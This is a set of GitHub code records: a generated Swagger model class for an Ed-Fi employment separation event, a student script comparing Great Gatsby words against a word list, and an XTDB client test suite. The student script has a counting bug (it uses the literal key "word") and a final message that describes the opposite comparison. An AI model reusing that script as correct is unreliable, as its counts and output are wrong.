'remaining_in_district': 'remainingInDistrict',\n        'etag': '_etag'\n    }\n\n    def __init__(self, id=None, employment_separation_date=None, open_staff_position_reference=None, employment_separation_entered_date=None, employment_separation_reason_descriptor=None, employment_separation_type_descriptor=None, remaining_in_district=None, etag=None, _configuration=None):  # noqa: E501\n        \"\"\"TpdmEmploymentSeparationEvent - a model defined in Swagger\"\"\"  # noqa: E501\n        if _configuration is None:\n            _configuration = Configuration()\n        self._configuration = _configuration\n\n        self._id = None\n        self._employment_separation_date = None\n        self._open_staff_position_reference = None\n        self._employment_separation_entered_date = None\n        self._employment_separation_reason_descriptor = None\n        self._employment_separation_type_descriptor = None\n        self._remaining_in_district = None\n        self._etag = None\n        self.discriminator = None\n\n        if id is not None:\n            self.id = id\n        self.employment_separation_date = employment_separation_date\n        self.open_staff_position_reference = open_staff_position_reference\n        if employment_separation_entered_date is not None:\n            self.employment_separation_entered_date = employment_separation_entered_date\n        if employment_separation_reason_descriptor is not None:\n            self.employment_separation_reason_descriptor = employment_separation_reason_descriptor\n        self.employment_separation_type_descriptor = employment_separation_type_descriptor\n        if remaining_in_district is not None:\n            self.remaining_in_district = remaining_in_district\n        if etag is not None:\n            self.etag = etag\n\n    @property\n    def id(self):\n        \"\"\"Gets the id of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n          # noqa: E501\n\n        :return: The id of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._id\n\n    @id.setter\n    def id(self, id):\n        \"\"\"Sets the id of this TpdmEmploymentSeparationEvent.\n\n          # noqa: E501\n\n        :param id: The id of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._id = id\n\n    @property\n    def employment_separation_date(self):\n        \"\"\"Gets the employment_separation_date of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n        Effective date of the separation.  # noqa: E501\n\n        :return: The employment_separation_date of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: date\n        \"\"\"\n        return self._employment_separation_date\n\n    @employment_separation_date.setter\n    def employment_separation_date(self, employment_separation_date):\n        \"\"\"Sets the employment_separation_date of this TpdmEmploymentSeparationEvent.\n\n        Effective date of the separation.  # noqa: E501\n\n        :param employment_separation_date: The employment_separation_date of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: date\n        \"\"\"\n        if self._configuration.client_side_validation and employment_separation_date is None:\n            raise ValueError(\"Invalid value for `employment_separation_date`, must not be `None`\")  # noqa: E501\n\n        self._employment_separation_date = employment_separation_date\n\n    @property\n    def open_staff_position_reference(self):\n        \"\"\"Gets the open_staff_position_reference of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n\n        :return: The open_staff_position_reference of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: EdFiOpenStaffPositionReference\n        \"\"\"\n        return self._open_staff_position_reference\n\n    @open_staff_position_reference.setter\n    def open_staff_position_reference(self, open_staff_position_reference):\n        \"\"\"Sets the open_staff_position_reference of this TpdmEmploymentSeparationEvent.\n\n\n        :param open_staff_position_reference: The open_staff_position_reference of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: EdFiOpenStaffPositionReference\n        \"\"\"\n        if self._configuration.client_side_validation and open_staff_position_reference is None:\n            raise ValueError(\"Invalid value for `open_staff_position_reference`, must not be `None`\")  # noqa: E501\n\n        self._open_staff_position_reference = open_staff_position_reference\n\n    @property\n    def employment_separation_entered_date(self):\n        \"\"\"Gets the employment_separation_entered_date of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n        The date the separation event was first entered or when notice was given.  # noqa: E501\n\n        :return: The employment_separation_entered_date of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: date\n        \"\"\"\n        return self._employment_separation_entered_date\n\n    @employment_separation_entered_date.setter\n    def employment_separation_entered_date(self, employment_separation_entered_date):\n        \"\"\"Sets the employment_separation_entered_date of this TpdmEmploymentSeparationEvent.\n\n        The date the separation event was first entered or when notice was given.  # noqa: E501\n\n        :param employment_separation_entered_date: The employment_separation_entered_date of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: date\n        \"\"\"\n\n        self._employment_separation_entered_date = employment_separation_entered_date\n\n    @property\n    def employment_separation_reason_descriptor(self):\n        \"\"\"Gets the employment_separation_reason_descriptor of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n        The reason(s) for the separation.  # noqa: E501\n\n        :return: The employment_separation_reason_descriptor of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._employment_separation_reason_descriptor\n\n    @employment_separation_reason_descriptor.setter\n    def employment_separation_reason_descriptor(self, employment_separation_reason_descriptor):\n        \"\"\"Sets the employment_separation_reason_descriptor of this TpdmEmploymentSeparationEvent.\n\n        The reason(s) for the separation.  # noqa: E501\n\n        :param employment_separation_reason_descriptor: The employment_separation_reason_descriptor of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: str\n        \"\"\"\n        if (self._configuration.client_side_validation and\n                employment_separation_reason_descriptor is not None and len(employment_separation_reason_descriptor) > 306):\n            raise ValueError(\"Invalid value for `employment_separation_reason_descriptor`, length must be less than or equal to `306`\")  # noqa: E501\n\n        self._employment_separation_reason_descriptor = employment_separation_reason_descriptor\n\n    @property\n    def employment_separation_type_descriptor(self):\n        \"\"\"Gets the employment_separation_type_descriptor of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n        The type of separation (e.g., termination, displacement, retirement, transfer, voluntary departure).  # noqa: E501\n\n        :return: The employment_separation_type_descriptor of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._employment_separation_type_descriptor\n\n    @employment_separation_type_descriptor.setter\n    def employment_separation_type_descriptor(self, employment_separation_type_descriptor):\n        \"\"\"Sets the employment_separation_type_descriptor of this TpdmEmploymentSeparationEvent.\n\n        The type of separation (e.g., termination, displacement, retirement, transfer, voluntary departure).  # noqa: E501\n\n        :param employment_separation_type_descriptor: The employment_separation_type_descriptor of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: str\n        \"\"\"\n        if self._configuration.client_side_validation and employment_separation_type_descriptor is None:\n            raise ValueError(\"Invalid value for `employment_separation_type_descriptor`, must not be `None`\")  # noqa: E501\n        if (self._configuration.client_side_validation and\n                employment_separation_type_descriptor is not None and len(employment_separation_type_descriptor) > 306):\n            raise ValueError(\"Invalid value for `employment_separation_type_descriptor`, length must be less than or equal to `306`\")  # noqa: E501\n\n        self._employment_separation_type_descriptor = employment_separation_type_descriptor\n\n    @property\n    def remaining_in_district(self):\n        \"\"\"Gets the remaining_in_district of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n        Whether a teacher is leaving a school but remaining within the district, or leaving the district entirely.  # noqa: E501\n\n        :return: The remaining_in_district of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: bool\n        \"\"\"\n        return self._remaining_in_district\n\n    @remaining_in_district.setter\n    def remaining_in_district(self, remaining_in_district):\n        \"\"\"Sets the remaining_in_district of this TpdmEmploymentSeparationEvent.\n\n        Whether a teacher is leaving a school but remaining within the district, or leaving the district entirely.  # noqa: E501\n\n        :param remaining_in_district: The remaining_in_district of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: bool\n        \"\"\"\n\n        self._remaining_in_district = remaining_in_district\n\n    @property\n    def etag(self):\n        \"\"\"Gets the etag of this TpdmEmploymentSeparationEvent.  # noqa: E501\n\n        A unique system-generated value that identifies the version of the resource.  # noqa: E501\n\n        :return: The etag of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._etag\n\n    @etag.setter\n    def etag(self, etag):\n        \"\"\"Sets the etag of this TpdmEmploymentSeparationEvent.\n\n        A unique system-generated value that identifies the version of the resource.  # noqa: E501\n\n        :param etag: The etag of this TpdmEmploymentSeparationEvent.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._etag = etag\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.swagger_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n        if issubclass(TpdmEmploymentSeparationEvent, dict):\n            for key, value in self.items():\n                result[key] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"Returns the string representation of the model\"\"\"\n        return pprint.pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, TpdmEmploymentSeparationEvent):\n            return False\n\n        return self.to_dict() == other.to_dict()\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        if not isinstance(other, TpdmEmploymentSeparationEvent):\n            return True\n\n        return self.to_dict() != other.to_dict()\n", "repo_name": "xmarcosx/edfi-notebook", "sub_path": "src/v5.1/resources/swagger_client/models/tpdm_employment_separation_event.py", "file_name": "tpdm_employment_separation_event.py", "file_ext": "py", "file_size_in_byte": 13933, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "swagger_client.configuration.Configuration", "line_number": 60, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 285, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 310, "usage_type": "call"}]}
{"seq_id": "10592869784", "text": "\"\"\"\nExercise 13.4: Modify the previous program to read a word list and then print all the words in the book that are not in the word list. \n\"\"\"\nfrom collections import defaultdict\nimport string\n\ndef exercise_13_4():\n    wordCounts = defaultdict(lambda: 0)                                             # default dictionary that starts counting every element from 0\n    wordSet = set()\n    \n    file = open(\"words.txt\", \"r\")\n    for word in file:\n        wordSet.add(word.strip())\n    file.close()\n    \n    file = open(\"great_gatsby_text.txt\", \"r\")\n    lines = file.readlines()\n    file.close()\n    \n    bookStartIndex = lines.index(\"*** START OF THE PROJECT GUTENBERG EBOOK THE GREAT GATSBY ***\\n\") + 1\n    bookEndIndex = lines.index(\"*** END OF THE PROJECT GUTENBERG EBOOK THE GREAT GATSBY ***\\n\")\n    lines = lines[bookStartIndex : bookEndIndex]\n    \n    for line in lines:\n        line = line.lower()                                                         # convert everything to lowercase\n        line = line.translate(str.maketrans('', '', string.punctuation))            # strip all punctuation out\n        \n        # replace the special looking characters that are a part of Windows\n        line = line.replace(\"—\", \" \")\n        line = line.replace(\"“\", \" \")\n        line = line.replace(\"”\", \" \")\n        line = line.replace(\"‘\", \" \")\n        line = line.replace(\"’\", \" \")\n        \n        words = line.split()                                                        # break every line into words and remove all white space characters\n        for word in words:\n            wordCounts[word] = wordCounts[\"word\"] + 1\n    \n    count = 0\n    for key in wordCounts.keys():\n        if key not in wordSet:\n            print(key, \"is not in the word list\")\n            count += 1\n    print(\"\\nIn total,\", count, \"words from the\", len(wordSet), \"words in the word list were not present in the book.\")\n\nexercise_13_4()", "repo_name": "Dan-Yee/CINF308-Programming-for-Informatics", "sub_path": "Assignment11/13.4/exercise_13.4.py", "file_name": "exercise_13.4.py", "file_ext": "py", "file_size_in_byte": 1924, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 26, "usage_type": "attribute"}]}
{"seq_id": "31483224267", "text": "from . import dbclient\nfrom . import db2\nfrom .qsyntax import var, var2, sym, sym2, kw, kw2, xtq, var_attr_value, pull, range_predicate, predicate\nfrom . import qsyntax as qs\nfrom base.qsyntax import _text2dumps1line, edn_dumps, dictAttr\nimport edn_format\nimport unittest, re, time\n'''\n\n- test passing of datetimes over and back : with +-timezone , without timezone but with Z, without anything\n    + as params, as *-edn params, as body/edn\n\nt0\n#- empty db\n- status - empty db or not\n- create objects a1_read, a2_upd, a3_del (regardless if already exist, these will be latest versions)\n- status+lasttx\n- sync - so above ARE latest\n- status+lasttx\n\nt1 - (create then) query-simple one obj\n- query a1 simple\n- query a1 simple pull\n- entity a1\n- compare\n\n- (create then) modify obj, history ?\n- (create then) modify obj with valid in future, history , q before change, q after change\n- (create then) modify obj with valid in past,   history ?\n- modify a2 . 1, sync, entity-history a2\n    --> ???  how to ignore history before t0\n        or how to create uniq objs without history in t0 ???\n- modify a2 .2 , sync, entity-history a2\n- modify a2 .3 valid = p1, sync, entity-history a2\n\nindependent:\n- query raw edn-text ?? ->client?\n- query\n    - lucene-variants a123\n    - keys\n    - pull\n    - inputs - scalar coll tuple rel\n    - rules ??\n- transactions: https://docs.xtdb.com/language-reference/1.22.1/datalog-transactions/\n    - put , +- valid/tx-times\n    - delete match evict fn\n\n\nhttp://yellerapp.com/posts/2014-05-07-testing-datomic.html\nhttps://vvvvalvalval.github.io/posts/2016-01-03-architecture-datomic-branching-reality.html\n'''\n\nimport os\nURL = os.getenv( 'XTDB') or 'http://localhost:3001'\nV2 = os.getenv( 'XTDB2')\n\nclass base:\n    maxDiff = None\n    headers = {}\n    IS_EDN = dbclient.RESULT_EDN\n    @classmethod\n    def setUpClass( me):\n        me.db = (db2.xtdb2 if V2 else dbclient.xtdb )( URL, headers= me.headers)\n        #me.IS_EMPTY = (me.db.stats() == {})\n        #me.db.debug =0\n\n    def result( me, *r):\n        'edn-tuples are json-lists'     #TODO ?\n        if not me.IS_EDN and isinstance( r, tuple): r = list( r)\n        return r\n    if 0:\n        def _getAssertEqualityFunc(self, first, second):\n            #print( type(first), type( second))\n            #if isinstance(first,list) and isinstance(second,tuple): print( first, second)\n            if (isinstance( first, (edn_format.ImmutableDict,dict))\n                and isinstance( second, (edn_format.ImmutableDict,dict))):\n                    return self.assertDictEqual #_type_equality_funcs( dict)\n            return super()._getAssertEqualityFunc( first,second)\n\n        def assertDictEqual(self, d1, d2, msg=None):\n            assert 0\n            if isinstance( d1, edn_format.ImmutableDict): d1 = dict(d1)\n            if isinstance( d2, edn_format.ImmutableDict): d2 = dict(d2)\n            return super().assertDictEqual( d1,d2,msg)\n\n\nclass x( base, unittest.TestCase):\n    #@classmethod\n    #def setUp( me):\n    #    me.db.debug =0\n\n    def test_status( me):\n        if V2:\n            exp_keys = set('''\n                latestCompletedTx\n                latestSubmittedTx\n                '''.split())\n        elif me.IS_EDN:\n            exp_keys = set('''\n                xtdb.version/version\n                xtdb.version/revision\n                xtdb.kv/kvStore\n                xtdb.kv/size\n                xtdb.index/indexVersion\n\n                ingesterFailed?\n                xtdb.txLog/consumerState\n                xtdb.kv/estimateNumKeys\n                '''.split())\n        else:\n            exp_keys = set('''\n                version\n                revision\n                kvStore\n                size\n                indexVersion\n\n                ingesterFailed?\n                consumerState\n                estimateNumKeys\n                '''.split())\n\n        s = me.db.status()\n        me.assertEqual( set(s) , exp_keys , s)  # & exp_keys\n        if V2:\n            txkeys = 'txId systemTime'.split()\n            #these can be None if empty db\n            for k in exp_keys:\n                v = s[ k ]\n                if v is not None:\n                    me.assertEqual( set( v), set( txkeys), k)\n        #import pprint\n        #pprint.pprint( me.db.swagger_json())\n\n    @unittest.skipIf( V2, 'not in v2')\n    def itest_stats( me, IS_EMPTY =None):\n        s = me.db.stats()\n        if IS_EMPTY is None:\n            IS_EMPTY = (s == {})\n        else:\n            me.assertEqual( (s=={}), bool(IS_EMPTY), )\n\n        if IS_EMPTY: #empty db has no attr-stats or tx\n            me.assertEqual( s, {})\n            with me.assert_error2( '404: {:error \"No latest-completed-tx found.\"}'):\n                me.db.latest_completed_tx()\n            with me.assert_error2( '404: {:error \"No latest-submitted-tx found.\"}'):\n                me.db.latest_submitted_tx()\n        else:\n            me.assertTrue( set([ 'xt/id' ]).issubset( s), s)\n\n            txid, txtime = 'txId txTime'.split()    #both IS_EDN and not\n            me.assertEqual( set( me.db.latest_completed_tx()), set([ txid, txtime ]))\n            me.assertEqual( set( me.db.latest_submitted_tx()), set([ txid ]))\n\n    def test_query_1_obj_whatever_it_is( me):\n        if V2:\n            q_flat_text = \"\"\"\n            {:find [ id ]\n                :where [ ($ :atablename {:xt/id id } ) ]\n                :limit 1\n            }\"\"\"\n            q_builder = xtq().find( sym.id\n                ).where(    #FIXME only works as plain text inside\n                    #db2.List( [ edn_format.dumps( *predicate( sym('$'), kw.atablename, { me.db.id_kw : sym.id } )) ])\n                    db2.Match( kw.atablename, { me.db.id_kw : sym.id } )\n                ).limit( 1\n                )\n            print( q_builder)\n            r = me.db.query( q_builder)\n            me.assertTrue( isinstance( r, (dict, edn_format.ImmutableDict)), (r, type(r)))\n            me.assertTrue( 'id' in r, r)\n            q_builder2 = q_builder.copy( without=[kw.limit]).limit( 2)\n            r = me.db.query( q_builder2)    #fails, response not json but space-delimited text [..] [..]\n            return\n\n        s = me.db.stats()\n        IS_EMPTY = (s == {})\n        assert not IS_EMPTY\n\n        q_flat_text = \"\"\" {:query\n            {:find [ id ]\n                :where [[x :xt/id id]]\n                :limit 1\n            }}\"\"\"\n        rid1 = me.db.query( q_flat_text)\n        id1 = rid1[0][0]\n\n        q_builder = xtq().find( sym.id\n                ).where( var_attr_value( sym.x, me.db.id_kw, sym.id )\n                ).limit( 1\n                )\n        me.assertEqual( _text2dumps1line( edn_dumps({ kw.query: q_builder })), _text2dumps1line( q_flat_text))\n        me.assertEqual( me.db.query( q_builder), rid1 )\n\n\n    def test_create( me, with_AID =True, two_subobjs =False):\n        #me.db.debug=1\n        OID = 12\n        AID = 221\n        obj = dictAttr(\n            name = 'myna',\n            city = 'cit1',\n            age  = 22,\n            addresses = [ dictAttr( street = 'thisone' ) ],\n            )\n        obj[ me.db.id_name]= OID\n        if two_subobjs:\n            obj.addresses.append( dictAttr( street = 'thatone' ) )\n        if with_AID:\n            if with_AID is True: with_AID = me.db.id_name\n            obj.addresses[0][ with_AID ]= AID\n            if two_subobjs:\n                obj.addresses[1][ with_AID ]= AID+1\n        me.db.save( obj)\n        if not V2:\n            me.itest_stats( False)\n            me.db.sync()\n\n        me.assertEqual(\n            me.db.query( xtq().find( pull( var.x, whole=True)\n                ).where( var_attr_value( var.x, kw.name, obj.name)) )\n            , me.result( [ obj ] ,) )\n        me.db.debug=0\n        me.assertEqual(\n            me.db.query( xtq().find( pull( var.inid, whole=True)\n                ).inputs( var.inid ), OID)\n            , me.result( [ obj ] ,) )\n\n        if with_AID is True:\n        #sub-obj is not separated\n          me.assertEqual(\n            me.db.query( xtq().find( pull( var.inid, whole=True)\n                ).inputs( var.inid ), AID)\n            , me.result( [ None ] ,) )\n          me.assertEqual(\n            me.db.query( xtq().find( pull( var.inid, whole=True)\n                ).inputs( qs.in_collection( var.inid)\n                ), qs.arg_collection( OID, AID))\n            , me.result( [ obj ], [ None ] ,) )\n          me.assertEqual(\n            me.db.query( xtq().find( pull( var.x, whole=True)\n                ).where( var_attr_value( var.x, me.db.id_kw, var.inid )\n                ).inputs( qs.in_collection( var.inid)\n                ), qs.arg_collection( OID, AID))\n            , me.result( [ obj ] ,) )\n        return obj,OID,AID\n\n    def test_search_inside_sub_vector_of_structs(me):\n        # Nah. cannot. separate into root-level obj XXX\n        # https://clojurians-log.clojureverse.org/xtdb/2020-07-30\n\n        #me.db.debug=1\n\n        #this works = vector of maps with 1 key\n        obj,OID,AID = me.test_create( with_AID= None, two_subobjs= True)\n        #me.db.debug=1\n        me.assertEqual(\n            me.db.query( xtq().find( pull( var.x, whole=True)\n                ).where( var_attr_value( var.x, kw.addresses, obj.addresses[0] ),\n                ), keyword_keys=True)\n            , me.result( [ obj ], ) )\n\n        #this does not works = vector of map with 2 keys\n        obj,OID,AID = me.test_create( with_AID= 'number')\n        #me.db.debug=1\n        me.assertEqual(\n            me.db.query( xtq().find( pull( var.x, whole=True)\n                ).where( var_attr_value( var.x, kw.addresses, obj.addresses[0] ),\n                ), keyword_keys=True)\n            , me.result() )    # XXX\n            #( [ obj ], ) )\n\n        obj,OID,AID = me.test_create( with_AID= True)\n        #me.db.debug=1\n        me.assertEqual(\n            me.db.query( xtq().find( pull( var.x, whole=True)\n                ).where( var_attr_value( var.x, kw.addresses, obj.addresses[0] ),\n                ), keyword_keys=True)\n            , me.result() )    # XXX\n            #( [ obj ], ) )\n\n        if 0:\n         print( 366,\n            me.db.query( xtq().find( pull( var.x, whole=True)\n                ).where( var_attr_value( var.x, kw.addresses, obj.addresses[0] ),\n                     #qs.cmp.eq( (sym('get-attr'), var.adr, me.db.id_kw), var.inid),\n                     #var_attr_value( var.adr, me.db.id_kw, var.inid),\n                     #var_attr_value( var.adr, kw.street, obj.addresses[0].street ),\n                ), keyword_keys=True),\n            )\n            #-> [obj, None]\n\nif 10 and not V2:\n class y( x):\n    IS_EDN = not x.IS_EDN\n    headers = {\n        'accept' : dbclient.BaseClient._app_edn if not dbclient.RESULT_EDN else dbclient.BaseClient._app_json,   #text/plain text/html\n        }\n\nclass history( base, unittest.TestCase):\n    #typ = 'e'   #object-types-distinguisher... or maybe PID ?\n    def setUp( me):\n        me.typ = time.time()\n        super().setUp()\n    def get_entity_whole( me, eid, **ka):\n        '-> {..ent1..}'\n        return me.db.entity( eid, **ka)\n    #XXX beware: outmost query result is tuple if EDN, but list if json (has no tuples)\n    def q_whole_entities_with_id( me, eid):\n        '-> ([{..ent1..}],)'\n        #return xtq().find( pull( var.eid, whole=True )).inputs( var.eid)  #XXX ??\n        return xtq().find( pull( var.p, whole=True )\n          ).where( var_attr_value( var.p, kw.typ, me.typ ),\n            var_attr_value( var.p, me.db.id_kw, eid),\n            )  #XXX ??\n\n    def _q_var_of_typ_where( me, thevar, *where):\n        return xtq().find( thevar ).where(\n            var_attr_value( var.p, kw.typ, me.typ ),\n            *where)\n    def q_name_of_entities_with_id( me, eid):\n        '-> ([[\"x\"]],)'\n        return me._q_var_of_typ_where( var.nm,\n            var_attr_value( var.p, me.db.id_kw, eid),\n            var_attr_value( var.p, kw.name, var.nm),\n            )\n    def q_id_of_entities_with_name_x( me): return me._q_var_of_typ_where( var.p,\n            var_attr_value( var.p, kw.name, 'x'))\n    def q_id_of_entities_with_name_y( me): return me._q_var_of_typ_where( var.p,\n            var_attr_value( var.p, kw.name, 'y'))\n    def q_id_of_entities_with_age_any( me): return me._q_var_of_typ_where( var.p,\n            var_attr_value( var.p, kw.age))\n    def q_id_of_entities_with_age_none( me): return me._q_var_of_typ_where( var.p,\n            var_attr_value( var.p, kw.age, None))\n    def q_id_of_entities_with_age_gt_3( me): return me._q_var_of_typ_where( var.p,\n            var_attr_value( var.p, kw.age, var.age),\n            range_predicate.gt( var.age, 3),\n            )\n    def q_id_of_entities_with_age_lt_3( me): return me._q_var_of_typ_where( var.p,\n            var_attr_value( var.p, kw.age, var.age),\n            range_predicate.lt( var.age, 3),\n            )\n    #########\n    txid_key = 'txId' #me.db.ns_api_kw('tx-id')],\n    def check( me, *, eid, tx=None, qargs ={}, pfx ='', history =(), as_of =None, expect_error_sync =False, **results):\n        #obj = history[-1]\n        ##print( me.db.latest_submitted_tx())   TODO\n        ##print( me.db.latest_completed_tx())\n        #me.db.await_tx_id( (as_of or tx)[ me.txid_key] )\n        if not V2:\n            me.db.sync()\n        if as_of:\n            qargs['tx_id'] = as_of[ me.txid_key]\n        for k,v in results.items():\n            with me.subTest( pfx+':'+k):\n                fq = getattr( me, k)\n                fargs = (eid,) if k.endswith( 'with_id') else ()\n                rq = fq(*fargs)\n                expv = () if v == () else (v,)\n                if expect_error_sync:\n                    with me.assertRaisesRegex( RuntimeError, 'Node out of sync'):\n                        r = me.db.query( rq, **qargs)\n                else:\n                    r = me.db.query( rq, **qargs)\n                    me.assertEqual( r, me.result( *expv ) )\n\n        for ascending in True,False:\n          with me.subTest( pfx+':history/'+('asc' if ascending else 'desc')):\n            #print( me.t1)\n            t1txid = me.t1[ me.txid_key]\n            #ascending = 1\n            if not ascending:\n                history = list( reversed( history)) #copy\n\n            since,until = 'start_tx_id', 'end_tx_id'\n            if not ascending:\n                since,until = until,since\n            timecfg = dict(\n                    ascending= bool(ascending),\n                    **{ since: t1txid },\n                    **({} if not as_of else { until: as_of[ me.txid_key] })\n                    )\n            if 'end_tx_id' in timecfg:\n                timecfg['end_tx_id'] += (1 if ascending else -1)  #exclusive\n            h = me.db.entity_history( eid,\n                    with_docs =True,\n                    **timecfg\n                    )   #returns tuple\n            me.assertEqual( [ a['doc'] for a in h], history)\n\n            ##### same but auto-corrected inside\n            timecfg_auto = dict(\n                    auto_inclusive_tx_id =True,\n                    ascending= ascending,\n                    start_tx_id= t1txid,\n                    **({} if not as_of else dict( end_tx_id= as_of[ me.txid_key]))\n                    )\n            h = me.db.entity_history( eid,\n                    with_docs =True,\n                    **timecfg_auto\n                    )   #returns tuple\n            me.assertEqual( [ a['doc'] for a in h], history)\n\n    def test_create( me):\n        eid = 1\n        obj = dictAttr( a= 1, typ= me.typ, name= 'x')\n        obj[ me.db.id_name] = eid\n\n        me.t1 = tx = me.db.save( obj)\n        me.c1 = dict(\n            #get_entity_whole=eid            -> obj\n            q_whole_entities_with_id        = [ obj ],\n            q_name_of_entities_with_id      = [ 'x' ],\n            q_id_of_entities_with_name_x    = [ eid ],\n            q_id_of_entities_with_name_y    = (),\n            q_id_of_entities_with_age_any   = (),\n            q_id_of_entities_with_age_none  = (),\n            q_id_of_entities_with_age_gt_3  = (),\n            q_id_of_entities_with_age_lt_3  = (),\n            history = [ obj ]\n            )\n        me.check( pfx= 't1-create', eid= eid, tx=tx, **me.c1)\n\n        obj2 = dictAttr( obj, name= 'y')\n        me.t2 = me.db.save( obj2)\n        me.c2 = dict(\n            q_whole_entities_with_id        = [ obj2 ],\n            q_name_of_entities_with_id      = [ 'y' ],\n            q_id_of_entities_with_name_x    = (),\n            q_id_of_entities_with_name_y    = [ eid ],\n            q_id_of_entities_with_age_any   = (),\n            q_id_of_entities_with_age_none  = (),\n            q_id_of_entities_with_age_gt_3  = (),\n            q_id_of_entities_with_age_lt_3  = (),\n            history = [ obj, obj2 ]\n            )\n        me.check( pfx= 't2-upd.name', eid= eid, tx=tx, **me.c2)\n\n        obj3 = dictAttr( obj2, age= 5)\n        me.t3 = me.db.save( obj3)\n        me.c3 = dict(\n            q_whole_entities_with_id        = [ obj3 ],\n            q_name_of_entities_with_id      = [ 'y' ],\n            q_id_of_entities_with_name_x    = (),\n            q_id_of_entities_with_name_y    = [ eid ],\n            q_id_of_entities_with_age_any   = [ eid ],\n            q_id_of_entities_with_age_none  = (),\n            q_id_of_entities_with_age_gt_3  = [ eid ],\n            q_id_of_entities_with_age_lt_3  = (),\n            history = [ obj, obj2, obj3 ]\n            )\n        me.check( pfx= 't3-add.age', eid= eid, tx=tx, **me.c3)\n\n        obj4 = obj2 #no age again\n        me.t4 = me.db.save( obj4)\n        me.c4 = dict(\n            #get_entity_whole=eid            -> obj\n            q_whole_entities_with_id        = [ obj4 ],\n            q_name_of_entities_with_id      = [ 'y' ],\n            q_id_of_entities_with_name_x    = (),\n            q_id_of_entities_with_name_y    = [ eid ],\n            q_id_of_entities_with_age_any   = (),\n            q_id_of_entities_with_age_none  = (),\n            q_id_of_entities_with_age_gt_3  = (),\n            q_id_of_entities_with_age_lt_3  = (),\n            history = [ obj, obj2, obj3, obj4 ]\n            )\n        me.check( pfx= 't4-del.age', eid= eid, tx=tx, **me.c4)\n\n        me.check( pfx= 't2-as-of',  eid= eid,\n            as_of = me.t2, **me.c2,\n            )\n        me.check( pfx= 't1-as-of',  eid= eid,\n            as_of = me.t1, **me.c1,\n            )\n        me.check( pfx= 't3-as-of',  eid= eid,\n            as_of = me.t3, **me.c3,\n            )\n        me.check( pfx= 't4-as-of',  eid= eid,\n            as_of = me.t4, **me.c4,\n            )\n\n        #before t1 , after t4\n        me.check( pfx= 't1-before-as-of', eid= eid,\n            as_of = { me.txid_key: me.t1[ me.txid_key] -1 },\n            #get_entity_whole=eid            -> obj\n            q_whole_entities_with_id        = (),\n            q_name_of_entities_with_id      = (),\n            q_id_of_entities_with_name_x    = (),\n            q_id_of_entities_with_name_y    = (),\n            q_id_of_entities_with_age_any   = (),\n            q_id_of_entities_with_age_none  = (),\n            q_id_of_entities_with_age_gt_3  = (),\n            q_id_of_entities_with_age_lt_3  = (),\n            history = []\n            )\n        me.check( pfx= 't4-after',  eid= eid,\n            as_of = { me.txid_key: me.t4[ me.txid_key] +1 },\n            expect_error_sync= True,\n            **me.c4,\n            )\n\n\nif __name__ == '__main__':\n    unittest.main( verbosity=2)\n\n# vim:ts=4:sw=4:expandtab\n", "repo_name": "eCollect/py-xtdb-datomic", "sub_path": "xtdb/testdb.py", "file_name": "testdb.py", "file_ext": "py", "file_size_in_byte": 19327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.getenv", "line_number": 54, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 55, "usage_type": "call"}, {"api_name": "edn_format.ImmutableDict", "line_number": 75, "usage_type": "attribute"}, {"api_name": "edn_format.ImmutableDict", "line_number": 76, "usage_type": "attribute"}, {"api_name": "edn_format.ImmutableDict", "line_number": 82, "usage_type": "attribute"}, {"api_name": "edn_format.ImmutableDict", "line_number": 83, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 87, "usage_type": "attribute"}, {"api_name": "unittest.skipIf", "line_number": 135, 